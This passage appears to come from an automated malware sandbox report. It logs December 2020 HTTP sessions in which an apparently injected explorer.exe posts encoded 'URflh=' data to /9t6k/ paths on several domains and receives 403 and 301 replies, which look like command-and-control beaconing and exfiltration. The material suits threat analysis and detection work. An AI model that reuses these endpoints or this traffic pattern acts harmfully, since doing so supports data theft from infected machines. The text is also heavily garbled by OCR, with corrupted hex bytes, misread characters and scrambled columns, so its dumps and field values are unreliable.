30 76 68 3b 66 6¢ 65 78 2d 64 69 72 65 63 74 69 6f 6 3a 63 6f 6¢ 75 6d 6€ 7d 2e 74 65 78 74 2d 63 6f 6e 74 61 69 6e 65
72 2d 2d 6d 61 69 6e 7b 66 6¢ 65 78 3a 31 3b 64 69 73 70 6¢ 61 79 3a 66 6¢ 65 78 3b 61 6¢ 69 67 6e 2d 69 74

Data Ascii: 141d<!DOCTYPE html><html lang="en"><head> <meta charset="utf-8" /> <meta name="referrer" con
tent="never" /> <title>Access denied</title> <style type="text/css"> *{box-sizing:border-box;margin:0;paddi
ng:0}htmi{font-family:"Helvetica Neue",Helvetica,Arial,sans-serif;background:#F1F1F1;font-size:62.5%;color:#303030;min-
height:100%}body{padding:0;margin:0;line-height:2.7rem}a{color:#303030;border-bottom:1px solid #303030;text-dec
oration:none;padding-bottom:1rem;transition:border-color 0.2s ease-in}a:hover{border-bottom-color:#A9A9A9}h1{font-
size:1.8rem;font-weight:400;margin:0 0 1.4rem O}p{font-size:1.5rem;margin:0}.page{padding:4rem 3.5rem;margin:0;displ
ay:flex;min-height:100vh;flex-direction:column}.text-container--main{flex: 1;display:flex;align-it

Destination IP Destination Port Process

23.227.38.74 80 C:\Windows\explorer.exe

Data

POST /9t6k/ HTTP/1.1

Host: www.theyolokart.com

Connection: close

Content-Length: 411

Cache-Control: no-cache

Origin: http://www.theyolokart.com

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://www.theyolokart.com/9t6k/

Accept-Language: en-US

Accept-Encoding: gzip, deflate

Data Raw: 55 52 66 6¢ 68 3d 28 78 65 56 4c 30 48 61 6e 6f 77 56 4b 36 74 6¢ 54 46 75 59 46 44 Af 58 49 44 44 64 45 54
79 43 30 33 62 4f 32 4f 75 4e 4d 76 62 66 42 68 64 31 72 42 70 49 75 56 39 6b 75 74 67 58 6e 54 34 47 63 7a 67 6d 62
4e 67 6f 42 55 4a 39 76 34 5a 6¢ 4e 50 6b 74 64 4d 42 6a 28 39 51 64 4b 42 33 4e 51 39 38 4f 71 4b 73 58 28 66 72 6d 4f
32 6a 335538 72 6a70 79 39 66 56 6b 78 37 45 64 6b 53 44 4a 44 58 39 57 4a 4d 45 38 34 66 4e 38 32 34 4f 53 65 74
65 56 52 54 77 64 78 67 65 67 52 48 39 7a 4f 71 28 2d 7e 7a 71 4a 35 43 6¢ 59 68 55 62 63 54 68 37 6a 49 52 72 59 46 7
944 4b 74 57 43 75 41 78 6f 74 4¢ 71 36 67 70 78 6b 55 7e 47 52 72 44 41 4d 39 4d 76 52 4b 59 58 42 31 65 68 45 35 28
50 7e 47 30 63 39 4b 5a 4d 6f 69 47 38 62 75 36 30 69 4d 6f 66 38 35 35 55 39 36 4b 4c 74 72 63 63 4a 39 79 69 32 41 61
56 6b 6b 71 44 4c 4e 39 4f 41 44 31 4e 39 45 49 32 4f 48 7e 30 36 68 59 38 39 34 76 54 56 39 4f 6e 63 63 66 75 28 69 66
65 6a 63 31 57 4f 56 6d 6¢ 6b 39 39 6d 6b 79 67 6 52 48 48 6e 30 4c 53 65 48 52 33 64 4c 6d 42 76 77 59 59 33 6f 4d 38
78 345953 64 39 77 59 35 61 65 4a 56 70 56 52 7a 75 30 41 2d 78 5a 37 49 66 5f 68 71 4a 32 5a 64 72 52 28 39 5a 42
53 48 73 68 39 57 5a 51 38 43 59 62 4e 51 44 51 29 2e 00 00 00 00 00 00 00 00

Data Ascii: URflh=(xeVLOHanowVK6tITFuYFDOXIDDdETYyC03bO20uNMvbfBhd1rBpluV9kutgXnT4GczgmbNgo
BUJ9v4ZINPktdMBj(9QdKB3NQ980gKsX (frm0O2j3U8rjpy9fVkx7EdkSDIDXIWIMEB4fN8240Sete VRTwdxgegRH9zOq(-
~2qJ5CIYhUbcTh7jIRrYFyDKtWCuAxotLq6gpxkU~GRIDAMIMVRKY XB1ehE5(P~G0c9KZMoiG8bu60iMof855U
96KLtrccl9yi2AaVkkqgDLN9OADIN9SEI20H~06hY834vTV90nccfu(ifejc1WOVmIk99mkygnRHHNOLSeHR3dLmBvwY
Y30M8x4YSdowY5aeJVpVRzuOA-xZ71f_hqJ2ZdrR(9ZBSHsh9WZQ8CYbNQDQ).
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Session ID Source IP

45 192.168.2.5

kBytes
Timestamp transferred
Dec 3, 2020 7119

10:07:52.246022940 CET

Dec 3, 2020 7120
10:07:52.394757986 CET

Session ID Source IP
46 192.168.2.5

kBytes
Timestamp transferred
Dec 3, 2020 7125

10:07:57.419188023 CET

Session ID Source IP

47 192.168.2.5
kBytes

Timestamp transferred

Copyright null 2020

Source Port

49804

Direction

ouT

Source Port

49805

Direction

ouT

Source Port

49806

Direction

Destination IP Destination Port Process

23.227.38.74 80 C:\Windows\explorer.exe

Data

GET /9t6k/?URflh=wzqvVRf3v7wWdKVsEzaCYIuZDwjvGR+wpj+mt/lyOIMnJEVZY6i5f9AVoqOYOhCkuGFts&UfrD
al=0nMpgJVP5t_PDD5p HTTP/1.1

Host: www.theyolokart.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

HTTP/1.1 403 Forbidden

Date: Thu, 03 Dec 2020 09:07:52 GMT

Content-Type: text/html

Transfer-Encoding: chunked

Connection: close

Vary: Accept-Encoding

X-Sorting-Hat-Podld: 172

X-Sorting-Hat-Shopld: 46683390117

X-Dc: gcp-us-centrall

X-Request-ID: e5bc7ch4-c4ca-4bdf-aac7-af2b349acee2

X-Download-Options: noopen

X-Permitted-Cross-Domain-Policies: none

X-Content-Type-Options: nosniff

X-XSS-Protection: 1; mode=block

CF-Cache-Status: DYNAMIC

cf-request-id: 06c974b33c00002c426d300000000001

Server: cloudflare

CF-RAY: 5fbc23ch9c272c42-FRA

Data Raw: 31 34 31 64 0d Oa 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6¢ 3e 0a 3c 68 74 6d 6¢ 20 6¢ 61 6e 67 3d 22 65 6e
22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e Oa
20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 65 66 65 72 72 65 72 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 65 76 65
72 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6¢ 65 3e 41 63 63 65 73 73 20 64 65 6e 69 65 64 3c 2f 74 69 74 6¢ 65 3e Oa 20
202020 3c 73 74 79 6¢ 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 2a 7b 62 6f 78
2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 3b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 7
4 6d 6¢ 7b 66 6f 6e 74 2d 66 61 6d 69 6¢ 79 3a 22 48 65 6¢ 76 65 74 69 63 61 20 4e 65 75 65 22 2¢ 48 65 6¢ 76 65 74 69
6361 2c 41726961 6¢ 2c 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 46 31 46 31 46 31 3b
66 6f 6e 74 2d 73 69 7a 65 3a 36 32 2e 35 25 3b 63 6f 6¢ 6f 72 3a 23 33 30 33 30 33 30 3b 6d 69 6e 2d 68 65 69 67 68 74
3a 313030 25 7d 62 6f 64 79 7b 70 61 64 64 69 6e 67 3a 30 3b 6d 61 72 67 69 6e 3a 30 3b 6¢ 69 6e 65 2d 68 65 69 67
68 74 3a 32 2e 37 72 65 6d 7d 61 7b 63 6f 6¢ 6f 72 3a 23 33 30 33 30 33 30 3b 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 3a
31 70 78 20 73 6f 6¢ 69 64 20 23 33 30 33 30 33 30 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 3b 70
61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 31 72 65 6d 3b 74 72 61 6e 73 69 74 69 6f 6e 3a 62 6f 72 64 65 72 2d 63 6f 6¢
6f 72 20 30 2e 32 73 20 65 61 73 65 2d 69 6e 7d 61 3a 68 6f 76 65 72 7b 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 2d 63 6f
6¢ 6f 72 3a 23 41 39 41 39 41 39 7d 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 38 72 65 6d 3b 66 6f 6e 74 2d 77 65 69
67 68 74 3a 34 30 30 3b 6d 61 72 67 69 6e 3a 30 20 30 20 31 2e 34 72 65 6d 20 30 7d 70 7b 66 6f 6 74 2d 73 69 7a 65
3a 31 2e 3572 656d3b6d61 7267 69 6e 3a30 7d 2e 70 61 67 65 7b 70 61 64 64 69 6e 67 3a 34 72 65 6d 20 33 2e 35
72 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 64 69 73 70 6¢ 61 79 3a 66 6¢ 65 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30
30 76 68 3b 66 6¢ 65 78 2d 64 69 72 65 63 74 69 6f 6 3a 63 6f 6¢ 75 6d 6e 7d 2e 74 65 78 74 2d 63 6f 6e 74 61 69 6e 65
72 2d 2d 6d 61 69 6e 7b 66 6¢ 65 78 3a 31 3b 64 69 73 70 6¢ 61 79 3a 66 6¢ 65 78 3b 61 6¢ 69 67 6e 2d 69 74

Data Ascii: 141d<!DOCTYPE html><html lang="en"><head> <meta charset="utf-8" /> <meta name="referrer" con
tent="never" /> <title>Access denied</title> <style type="text/css"> *{box-sizing:border-box;margin:0;paddi
ng:0}htmi{font-family:"Helvetica Neue",Helvetica,Arial,sans-serif;background:#F1F1F1;font-size:62.5%;color:#303030;min-
height:100%}body{padding:0;margin:0;line-height:2.7rem}a{color:#303030;border-bottom:1px solid #303030;text-dec
oration:none;padding-bottom:1rem;transition:border-color 0.2s ease-in}a:hover{border-bottom-color:#A9A9A9}h1{font-
size:1.8rem;font-weight:400;margin:0 0 1.4rem O}p{font-size:1.5rem;margin:0}.page{padding:4rem 3.5rem;margin:0;displ
ay:flex;min-height:100vh;flex-direction:column}.text-container--main{flex: 1;display:flex;align-it

Destination IP Destination Port Process

66.235.200.146 80 C:\Windows\explorer.exe

Data

GET /9t6k/?URflh=WRaEwe7grAm8RcFyQBNRvy9INVNi7wOvDLX3hizJdol6i043A301dw5NSblbyY8qTgmle&UfrD
al=0nMpgJVP5t_PDD5p HTTP/1.1

Host: www.higherthan75.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

Destination IP Destination Port Process

23.227.38.74 80 C:\Windows\explorer.exe

Data
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kBytes

Timestamp transferred Direction Data
Dec 3, 2020 7127 ouT POST /9t6k/ HTTP/1.1
10:08:02.964715958 CET Host: www.renabbeauty.com

Connection: close

Content-Length: 411

Cache-Control: no-cache

Origin: http://www.renabbeauty.com

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://www.renabbeauty.com/9t6k/

Accept-Language: en-US

Accept-Encoding: gzip, deflate

Data Raw: 55 52 66 6c 68 3d 30 31 6d 63 5a 4e 51 58 7e 72 72 67 6e 47 52 2d 41 46 42 43 5a 6f 70 64 32 79 55 31 30 6e
63 46 6¢ 63 30 49 4f 31 51 70 67 55 68 31 66 30 37 44 41 4d 7e 47 61 72 51 58 4f 78 4d 67 44 34 72 6d 78 6e 65 73 64 4f
4a 6e 48 69 72 43 43 36 35 4f 51 4b 56 44 6¢ 42 4b 46 66 6a 6d 59 71 37 41 4b 7a 58 42 58 5a 65 59 52 61 79 6¢ 49 47
77784158 44 32 35 72 4f 51 58 4a 7a 32 41 54 61 35 43 47 62 34 78 47 46 6b 70 4e 39 6¢ 7a 48 72 28 44 6b 78 43 6a
6b 33 49 36 48 2d 5a 4c 78 62 6¢ 6b 4c 32 57 5f 33 71 38 64 48 76 37 37 61 53 58 7a 65 31 35 35 7530 53 50 51 73 7a 4
d 46 66 65 55 6d 62 4c 70 39 56 75 6b 4d 49 59 57 76 32 78 37 31 32 75 38 53 2d 4e 30 6¢ 45 6a 43 56 39 35 61 68 54
75 6d 66 4c 78 7a 68 41 67 76 28 34 7e 31 74 75 64 6f 39 50 57 31 38 61 45 56 76 72 78 54 6f 38 4c 69 45 76 37 41 65 33
76 5f 77 74 30 31 7e 68 59 70 5a 4e 38 76 7a 4b 46 7a 52 41 62 6e 72 79 6d 34 77 71 68 35 6a 58 77 32 79 79 4a 59 4f
69 6d 32 39 76 69 73 58 31 6e 5f 49 74 67 65 72 6d 58 42 71 55 35 59 6f 68 36 59 59 48 4a 36 77 63 31 45 4d 44 4b 4d 6f
737941525866 62 71 54 38 4b 66 78 7e 5f 75 68 43 30 57 63 77 65 31 70 77 4a 77 79 65 4c 75 4e 55 46 65 4e 42 31
51 5a 62 59 4b 35 56 36 52 57 35 31 7a 61 4e 5f 37 41 29 2e 00 00 00 00 00 00 00 00

Data Ascii: URflh=01mcZNQX~rrgnGR-AFBCZopd2yU10ncFIc0101QpgUh1f07DAM~GarQXOxMgD4rmxnesdOJn
HirCC650QKVDIBKFfimY(q7AKzXBXZeYRayllGWxAXD25rOQXJz2ATa5CGb4xGFkpN9IzHr(DkxCjk3I6H-ZLxbIkL2
W_3g8dHv77aSXze155u0SPQszMFfeUmbLp9VukMIYWv2x712u8S-NOIEjCV95ahTumfLxzhAgv(4~1tudo9PW18aEV
VrxTo8LIEv7Ae3v_wt01~hYpZN8vzKFzRAbnrym4wgh5jXw2yyJYOim29visX1n_ltgermXBqU5Yoh6YYHJI6wc1EMD
KMosyARXfbgqT8Kfx~_uhCOWcwelpwIwyeLuNUFeNB1QZbYK5V6RW51zaN_7A).

Session ID Source IP Source Port Destination IP Destination Port Process
48 192.168.2.5 49807 23.227.38.74 80 C:\Windows\explorer.exe
kBytes
Timestamp transferred Direction Data
Dec 3, 2020 7127 ouT GET /9t6k/?URflh=73SmHps+05HxyxR+SIs8P85g8AMV[2xb8ZN5KGQQxUczRWjFANVVI8FIZWAGNK7+ujwZ&UfrD
10:08:02.983494043 CET al=0nMpgJVP5t_PDD5p HTTP/1.1

Host: www.renabbeauty.com
Connection: close

Data Raw: 00 00 00 00 00 00 00
Data Ascii:

Copyright null 2020 Page 68 of 97



Timestamp

Dec 3, 2020
10:08:03.132566929 CET

Session ID

49

Timestamp

Dec 3, 2020
10:08:08.318958998 CET

Copyright null 2020

kBytes
transferred

7129

Source IP

192.168.2.5

kBytes
transferred

7135

Direction

IN

Source Port

49808

Direction

ouT

Data

HTTP/1.1 403 Forbidden

Date: Thu, 03 Dec 2020 09:08:03 GMT

Content-Type: text/html

Transfer-Encoding: chunked

Connection: close

Vary: Accept-Encoding

X-Sorting-Hat-Podld: 155

X-Sorting-Hat-Shopld: 46582104220

X-Dc: gcp-us-centrall

X-Request-1D: 06aa260b-ceff-42ab-9051-1d6b802969a5

X-Download-Options: noopen

X-Permitted-Cross-Domain-Policies: none

X-Content-Type-Options: nosniff

X-XSS-Protection: 1; mode=block

CF-Cache-Status: DYNAMIC

cf-request-id: 06c974dd2f00002badbe982000000001

Server: cloudflare

CF-RAY: 5fbc240ebf152bad-FRA

Data Raw: 31 32 63 37 0d Oa 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6¢ 3e 0a 3c 68 74 6d 6¢ 20 6¢ 61 6e 67 3d 22 65 6e
22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e Oa
20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 65 66 65 72 72 65 72 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 65 76 65
72 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6¢ 65 3e 41 63 63 65 73 73 20 64 65 6e 69 65 64 3c 2f 74 69 74 6¢ 65 3e Oa 20
202020 3c 73 74 79 6¢ 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 2a 7b 62 6f 78
2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 3b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 7
4 6d 6¢ 7b 66 6f 6e 74 2d 66 61 6d 69 6¢ 79 3a 22 48 65 6¢ 76 65 74 69 63 61 20 4e 65 75 65 22 2¢ 48 65 6¢ 76 65 74 69
6361 2c 41726961 6¢ 2c 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 46 31 46 31 46 31 3b
66 6f 6e 74 2d 73 69 7a 65 3a 36 32 2e 35 25 3b 63 6f 6¢ 6f 72 3a 23 33 30 33 30 33 30 3b 6d 69 6e 2d 68 65 69 67 68 74
3a 313030 25 7d 62 6f 64 79 7b 70 61 64 64 69 6e 67 3a 30 3b 6d 61 72 67 69 6e 3a 30 3b 6¢ 69 6e 65 2d 68 65 69 67
68 74 3a 32 2e 37 72 65 6d 7d 61 7b 63 6f 6¢ 6f 72 3a 23 33 30 33 30 33 30 3b 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 3a
31 70 78 20 73 6f 6¢ 69 64 20 23 33 30 33 30 33 30 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 3b 70
61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 31 72 65 6d 3b 74 72 61 6e 73 69 74 69 6f 6e 3a 62 6f 72 64 65 72 2d 63 6f 6¢
6f 72 20 30 2e 32 73 20 65 61 73 65 2d 69 6e 7d 61 3a 68 6f 76 65 72 7b 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 2d 63 6f
6¢ 6f 72 3a 23 41 39 41 39 41 39 7d 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 38 72 65 6d 3b 66 6f 6e 74 2d 77 65 69
67 68 74 3a 34 30 30 3b 6d 61 72 67 69 6e 3a 30 20 30 20 31 2e 34 72 65 6d 20 30 7d 70 7b 66 6f 6e 74 2d 73 69 7a 65
3a 31 2e 3572 656d3b6d61 726769 6e 3a30 7d 2e 70 61 67 65 7b 70 61 64 64 69 6e 67 3a 34 72 65 6d 20 33 2e 35
72 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 64 69 73 70 6¢ 61 79 3a 66 6¢ 65 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30
30 76 68 3b 66 6¢ 65 78 2d 64 69 72 65 63 74 69 6f 6 3a 63 6f 6¢ 75 6d 6€ 7d 2e 74 65 78 74 2d 63 6f 6e 74 61 69 6e 65
72 2d 2d 6d 61 69 6e 7b 66 6¢ 65 78 3a 31 3b 64 69 73 70 6¢ 61 79 3a 66 6¢ 65 78 3b 61 6¢ 69 67 6e 2d 69 74

Data Ascii: 12c7<!DOCTYPE html><html lang="en"><head> <meta charset="utf-8" /> <meta name="referrer" con
tent="never" /> <title>Access denied</title> <style type="text/css"> *{box-sizing:border-box;margin:0;paddi
ng:0}htmi{font-family:"Helvetica Neue",Helvetica,Arial,sans-serif;background:#F1F1F1;font-size:62.5%;color:#303030;min-
height:100%}body{padding:0;margin:0;line-height:2.7rem}a{color:#303030;border-bottom:1px solid #303030;text-dec
oration:none;padding-bottom:1rem;transition:border-color 0.2s ease-in}a:hover{border-bottom-color:#A9A9A9}h1{font-
size:1.8rem;font-weight:400;margin:0 0 1.4rem O}p{font-size:1.5rem;margin:0}.page{padding:4rem 3.5rem;margin:0;displ
ay:flex;min-height:100vh;flex-direction:column}.text-container--main{flex: 1;display:flex;align-it

Destination IP Destination Port Process

157.245.239.6 80 C:\Windows\explorer.exe

Data

POST /9t6k/ HTTP/1.1

Host: www.ahomedokita.com

Connection: close

Content-Length: 411

Cache-Control: no-cache

Origin: http://www.ahomedokita.com

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://www.ahomedokita.com/9t6k/

Accept-Language: en-US

Accept-Encoding: gzip, deflate

Data Raw: 55 52 66 6¢ 68 3d 32 61 76 61 38 79 71 43 6a 6f 52 49 4c 63 65 58 45 56 4d 5f 63 4a 43 33 28 38 4b 58 66 36
39 66 48 36 55 64 79 32 6b 61 74 44 5a 66 55 4b 6e 73 55 57 4e 6e 56 35 33 43 47 76 57 4e 58 45 62 49 54 57 49 4e 35
6d 79 44 7a 5a 71 36 32 2d 45 46 30 77 66 56 39 57 30 42 63 56 37 67 6a 6d 34 6¢ 39 53 28 36 62 76 45 6b 36 45 7a 2d
68 77 32 4e 4d 79 73 33 64 63 7e 63 56 65 46 64 7a 64 69 66 62 47 48 75 66 64 48 74 76 4d 51 5f 6e 4a 6¢ 62 50 75 47 3
4 6d 73 36 39 63 54 38 6f 6b 41 72 74 4c 38 49 35 7e 4b 73 73 46 6e 6a 65 55 4e 44 46 66 71 49 76 4a 70 39 4a 73 56 59
46 30 5f 46 41 69 43 6¢ 70 62 71 56 46 6d 31 5a 55 50 6¢ 4a 4e 46 64 30 31 77 35 77 4f 70 2d 6d 48 71 51 31 6¢ 7a 5a 72
5f 4d 4a 41 55 37 76 33 32 34 63 63 54 70 63 46 69 6f 41 73 75 6d 6e 4d 37 4f 5f 34 63 34 45 76 78 33 47 41 34 4e 37 7a
34 74 49 54 7a 41 48 4a 58 56 5a 4b 71 37 4e 31 38 30 55 75 48 51 55 56 57 31 5f 28 55 78 78 7e 54 38 6e 38 79 41 42
67 62 4d 67 6b 78 4f 75 36 79 30 35 63 71 6d 43 38 6a 58 75 68 73 78 31 6a 52 58 41 4b 72 39 64 7a 41 37 7328 42 35
4f 76 59 31 41 48 6a 6d 31 30 43 69 6e 7a 4c 41 7a 6¢ 74 35 79 61 56 35 77 63 7a 4f 7a 77 56 48 42 59 75 64 31 6¢ 66 62
48 37 71 73 39 64 71 35 56 6a 66 4a 74 34 6a 42 67 29 2e 00 00 00 00 00 00 00 00

Data Ascii: URflh=2ava8yqCjoRILceXEVM_cJC3(8KXf69fH6Udy2katDZfUKnsUWNNV53CGVWNXEbITWIN5myDzZq62-
EFOwfVOWO0BcV7gjm4I9S(6bvEkEEZz-hw2NMys3dc~cVeFdzdifbGHufdHtvMQ_nJIbPuG4ms69cT8okArtL8I5~KssFnje
UNDFfqlvJp9JsVYFO_FAiClpbgVFm1ZUPIINFdO1w5wOp-mHqQ1llzZr MJAU7v324ccTpcFioAsumnM70_4c4Evx3G
AANTZz4tITzZAHIXVZKq7N180UUHQUVW1_(Uxx~T8n8yABgbMgkxOu6y05cqmC8jXuhsx1jRXAKr9dzA7s(B50vY 1AH|
m10CinzLAzlt5yaV5wczOzwVHBYud1lfbH7qs9dqg5VjfJt4jBg).
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Timestamp

Dec 3, 2020
10:08:08.500829935 CET

Session ID

5

Timestamp

Dec 3, 2020
10:04:09.509222984 CET

Dec 3, 2020
10:04:09.624716043 CET

Session ID

50

Timestamp

Dec 3, 2020
10:08:08.490524054 CET

Copyright null 2020

kBytes
transferred

7136

Source IP

192.168.2.5

kBytes
transferred

5954

5954

Source IP

192.168.2.5

kBytes
transferred

7135

Direction

IN

Source Port

49747

Direction

ouT

Source Port

49809

Direction

ouT

Data

HTTP/1.1 301 Moved Permanently

Date: Thu, 03 Dec 2020 09:08:08 GMT

Server: Apache/2.4.29 (Ubuntu)

Location: https://ahomedokita.com/9t6k/

Content-Length: 322

Connection: close

Content-Type: text/html; charset=iso-8859-1

Data Raw: 3¢ 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48
54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6¢ 3e 3c 68 65 61 64 3e Oa 3c 74 69 74 6¢ 65 3e 33 30 31 20 4d 6f
76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6¢ 79 3c 2f 74 69 74 6¢ 65 3e Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e Oa 3c 68
31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6¢ 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74
2068 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 61 68 6f 6d 65 64 6f 6b 69 74 61 2e
63 6f 6d 2f 39 74 36 6b 2f 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e Oa 3¢ 68 72 3e Oa 3c 61 64 64 72 65 73 73 3e 41
70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 77 77 77 2e 61 68 6f
6d 65 64 6f 6b 69 74 61 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68
74 6d 6¢ 3e Oa

Data Ascii: <IDOCTYPE HTML PUBLIC "-/IETF//DTD HTML 2.0//EN"><htmI><head><title>301 Moved Permanent
ly</titte></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://ahomedokita.com/9t
6k/">here</a>.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at www.ahomedokita.com Port 80</address></body></
html>

Destination IP Destination Port Process

34.102.136.180 80 C:\Windows\explorer.exe

Data

GET /9t6k/?URflh=rm4JCycf8jgnKzL2gaZxJFxF+HyMTTLQtqzA4xmgqdXyWq3yulARpOHOZAK4rmQWxcAt&UfrD
al=0nMpgJVP5t_PDD5p HTTP/1.1

Host: www.pocketspacer.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

HTTP/1.1 403 Forbidden

Server: openresty

Date: Thu, 03 Dec 2020 09:04:09 GMT

Content-Type: text/html

Content-Length: 275

ETag: "5fc566€9-113"

Via: 1.1 google

Connection: close

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6¢ 20 6¢ 61 6e 67 3d 22 65 6e 22 3e Oa 3c 68 65
61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22
20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6¢ 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20
20 3c 6¢ 69 6e 6b 20 72 65 6¢ 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d
61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 3e 0a 20 20 20 20 3c
74 69 74 6¢ 65 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6¢ 65 3e Oa 3c 2f 68 65 61 64 3e Oa 3c 62 6f 64 79 3e Oa 3c
68 31 3e 41 63 63 65 73 73 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e Oa 3c 2f 62 6f 64 79 3e Oa 3c 2f 68 74 6d 6¢ 3e
Oa

Data Ascii: <IDOCTYPE html><html lang="en"><head> <meta http-equiv="content-type" content="text/html;charset=utf-
8"> <link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon">  <title>Forbidden</title></head><body>
<h1>Access Forbidden</h1></body></html>

Destination IP Destination Port Process

157.245.239.6 80 C:\Windows\explorer.exe

Data

GET /9t6k/?URfIh=5YbgiWOMvK10e+D+TidoKvmTwuSwaKBdeKNLrkVAsRRVF5LwbTMOesGYedm1bG3cIWIla&UfrD
al=0nMpgJVP5t_PDD5p HTTP/1.1

Host: www.ahomedokita.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:
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kBytes
Timestamp transferred

Dec 3, 2020 7137
10:08:08.658791065 CET

Session ID Source IP
51 192.168.2.5

kBytes
Timestamp transferred
Dec 3, 2020 7138

10:08:13.694751024 CET

Session ID Source IP
52 192.168.2.5

kBytes
Timestamp transferred
Dec 3, 2020 7139

10:08:13.722085953 CET

Copyright null 2020

Direction

IN

Source Port

49810

Direction

ouT

Source Port

49811

Direction

ouT

Data

HTTP/1.1 301 Moved Permanently

Date: Thu, 03 Dec 2020 09:08:08 GMT

Server: Apache/2.4.29 (Ubuntu)

Location: https://ahomedokita.com/9t6k/? URflh=5YbgiWOMvK10e+D+Ti4oKvmTwuSwaKBdeKNLrkVAsRRvVF5LwbTMOes
GYedm1bG3cJWIla&UfrDal=0nMpgJVP5t_PDD5p

Content-Length: 425

Connection: close

Content-Type: text/html; charset=iso-8859-1

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48
54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6¢ 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6¢ 65 3e 33 30 31 20 4d 6f
